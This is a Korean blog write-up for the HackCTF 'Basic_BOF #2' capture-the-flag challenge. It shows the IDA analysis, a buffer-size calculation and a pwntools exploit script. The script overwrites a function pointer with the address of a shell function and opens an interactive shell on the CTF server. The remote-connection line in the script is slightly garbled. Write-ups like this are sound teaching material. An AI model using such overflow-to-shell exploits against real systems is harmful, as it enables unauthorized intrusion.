HACKCTF - Basic_BOF #2

2020. 7. 7. 07:47CTF's Write-up

 

문제사진

 

가장 먼저 해야할 일은 역시 실행시켜보는 것

 

 

실행사진

 

이상한 문구가 나와서 당황했습니다.

따라서 이 프로그램은 뭔가 넣으면 뭔가가 나오는 프로그램 인것을 알 수 있죠

더 이상은 모르니 IDA로 까보면

 

 

IDA 실행화면

 

 

sup 함수

 

1. [7번줄] s에 0x85사이즈의 값을 받아넣는다

2. [6번줄] s값을 출력하는 함수의 주소를 v5에 넣는다

3. [8번줄] s값을 출력하는 함수 주소 실행

 

그럼 이제 어떻게 풀어야할지 생각을 해야하는데 그 전에 보호기법 확인해서 풀이방향을 좁혀보자.

 

 

보호기법 확인

 

 

nx가 가능하니까 단순 bof로 쉘코드를 넣는건 불가능(짜피 버퍼 크기 딸려서힘듬)

 

그럼 ROP쪽이나 BOF에서 리턴주소 바꿔서 하는 가능성이 커보여서 함수들 찾아보는 중 에

 

 

STRING

 

초반에 나온 "하아하아하아하아"그 멘트를 찾고자 STRING을 봤는데 /bin/dash를 찾았으니 저걸 쓰면 될거같다고 생각했다.

 

shell 함수

 

쉘 함수 주소를 찾았으니

payload = "변수[S] + shell주소" 로 만들면 될거같다.

 

S의 사이즈를 찾는게 관건인데

 

S버퍼 크기

 

이 부분을 보면

S[ebp-8C]

v5[ebp-C]

이므로 S의 크기는 (0x8C-0xC) = 0x80이다.

 

그리고 우리가 또 생각해야할께 윗부분에 설명한것처럼 v5에 그 다음에 실행할 함수의 주소가 들어가있어서 SFP를 고려하지 않고 바로 [shell의주소]로 덮어주면 된다.

(참고로 필자는 SFP 고려해서 삽질을 조금 했다.)

 

 

 

s스택

 

v5 스택

위 두 스택을 보면 실제 계산한 방법이 맞았다는거를 확인할 수 있다.

 

따라서 "A"*0x80+[shell주소] 해서 페이로드를 보내면 될것이다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
#remote setting
= remote("ctf.j0n9hyun.xyz"3001)
context.log_level="debug"
 
#function address
shell = 0x0804849B
 
#payload set
payload = ""
payload += "A"*(0x8C-0xC)
payload += p32(shell)
 
#log set
log.info("payload = " + payload)
 
#excute
r.sendline(payload)
 
#get control
r.interactive()
 
 
cs

 

이렇게 하면 익스가 가능하다

 

익스 화면

 

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Basic_FSB  (0) 2020.07.08
HACKCTF - /  (0) 2020.07.07
HACKCTF - Basic_BOF #1  (0) 2020.07.06
h3x0r easy_of_the_easy write-up  (0) 2018.11.07
codegate2018 - BaskinRobins31  (0) 2018.10.31